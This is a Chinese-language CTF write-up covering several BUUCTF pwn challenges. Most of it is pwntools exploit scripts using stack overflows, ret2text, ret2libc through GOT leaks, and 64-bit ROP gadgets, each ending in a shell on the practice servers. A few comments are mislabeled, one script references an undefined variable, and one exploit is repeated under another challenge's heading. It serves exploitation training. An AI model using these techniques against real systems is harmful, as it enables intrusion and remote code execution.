发现buf存在溢出漏洞,buf是0x80,read了0x200 存在栈溢出漏洞
发现后门函数system("/bin/sh"),解题思路:修改read函数的ret address 为后门函数的地址。
from pwn import*
io=remote("node4.buuoj.cn",26034)
sys_addr=0x0400596
payload='a'*0x88+p64(sys_addr)
io.sendline(payload)
io.interactive()
使用32位IDA打开
查看main函数
得出程序运行输出的地址是buf的地址
而且read函数存在栈溢出漏洞
经查找,没有后门函数。没有开启任何保护,根据已知的信息: buf的地址已知,且buf存在栈溢出,程序未开启NX(栈不可执行)canary保护。可以通过 构造shellcode的方法。通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。
但是不正确,所以是一个ret2libc,利用write函数。
编写exp
from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn',27913)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] #write的plt表可以调用write函数
write_got=elf.got['write'] #write的got表里面有write函数的真实地址
payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
# 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
io.send(payload)
write_addr = u32(io.recv(4))
# 因为write的第二个参数是write_got,所以它会输出write的got
libc=LibcSearcher('write',write_addr)
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
libc_base=write_addr-libc.dump('write')
#找到偏移
system_addr=libc_base+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh=libc_base+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
io.send(payload)
io.interactive()
查看main函数
发现buf存在栈溢出漏洞,且system()函数
解题思路:劫持程序执行流,到system()函数,更改参数为"/bin/sh"
正巧程序中含有字符串"/bin/sh"
from pwn import*
io=remote("node4.buuoj.cn",28080)
sys_addr=0x0804849E
bin_addr=0x0804A024
payload='a'*(0x88+0x4)+p32(sys_addr)+p32(bin_addr)
io.sendline(payload)
io.interactive()
由read函数可知buf存在栈溢出漏洞
编写exp.py
from pwn import *
from LibcSearcher import *
io=remote('node4.buuoj.cn',26784)
elf=ELF('./level3')
main=0x08048484
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('Input:\n')
io.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
io.recvuntil('Input:\n')
io.sendline(payload)
io.interactive()
使用ROPgadget工具进行查询 pop rdi ret 和pop rsi ret 两个指令的地址
编写exp
from pwn import*
from LibcSearcher import*
io=remote('node4.buuoj.cn',29578)
elf=ELF('./level3_x64')
main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_got=elf.got['write'] #write的plt表可以调用write函数
write_plt=elf.plt['write'] #write的got表里面有write函数的真实地址
payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
# 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
io.recvuntil('\n')
io.sendline(payload)
write_addr=u64(io.recv(8))
# 因为write的第二个参数是write_got,所以它会输出write的got
print hex(write_addr)
libc=LibcSearcher('write',write_addr)
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
offset=write_addr-libc.dump('write')
#找到偏移
print hex(offset)
system=offset+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh=offset+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址
payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)
io.interactive()
查看main函数
解题思路:和level3不同的是read函数之前没有调用write函数,因此要泄露libc的基地址需要用read函数,利用write函数将read函数在got表中的地址泄露出来
编写exp
from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn',29651)
elf = ELF("./level4")
context(os = "linux", arch = "i386")
read_got = elf.got['read'] #read的plt表可以调用read函数
write_plt= elf.plt['write'] #write的got表里面有write函数的真实地址
main_addr = 0x8048470
payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
# 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
io.send(payload)
read_addr = u32(io.recv(4))
# 因为read的第二个参数是read_got,所以它会输出read的got
libc = LibcSearcher("read",read_addr)
#根据泄漏的read地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的read函数地址
libc_base = read_addr - libc.dump('read')
#找到偏移
system_addr = libc_base + libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh = libc_base + libc.dump("str_bin_sh")
#根据偏移和sh在libc中的地址找到sh在程序中的地址
payload = (0x88+0x04)*'a'+p32(system_addr)+p32(0)+p32(bin_sh)
io.send(payload)
io.interactive()
查看main函数
buf是0x80,read了0x200,很明显存在栈溢出漏洞,同样使用ret2libc
解题思路:程序中用write函数,所以可以利用write函数来泄漏libc。
这个题是64位的程序
注意:32位传参数通过栈来传递,参数逆序存储在栈中。
64位传参,若参数<7 存储在寄存器中,rdi,rsi,rdx,rcx,r8,r9 参数依 次存储在这些寄存器中,若参数>7 ,则前6个参数存储在寄存器中,6 以后的参数存放在 栈中。
对于字符串,汇编指令的快速查询可以使用ROPgadget工具
编写exp
from pwn import*
from LibcSearcher import*
io=remote('node4.buuoj.cn',29578)
elf=ELF('./level3_x64')
main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_got=elf.got['write'] #write的plt表可以调用write函数
write_plt=elf.plt['write'] #write的got表里面有write函数的真实地址
payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
# 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
io.recvuntil('\n')
io.sendline(payload)
write_addr=u64(io.recv(8))
# 因为write的第二个参数是write_got,所以它会输出write的got
print hex(write_addr)
libc=LibcSearcher('write',write_addr)
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
offset=write_addr-libc.dump('write')
#找到偏移
print hex(offset)
system=offset+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh=offset+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址
payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)
io.interactive()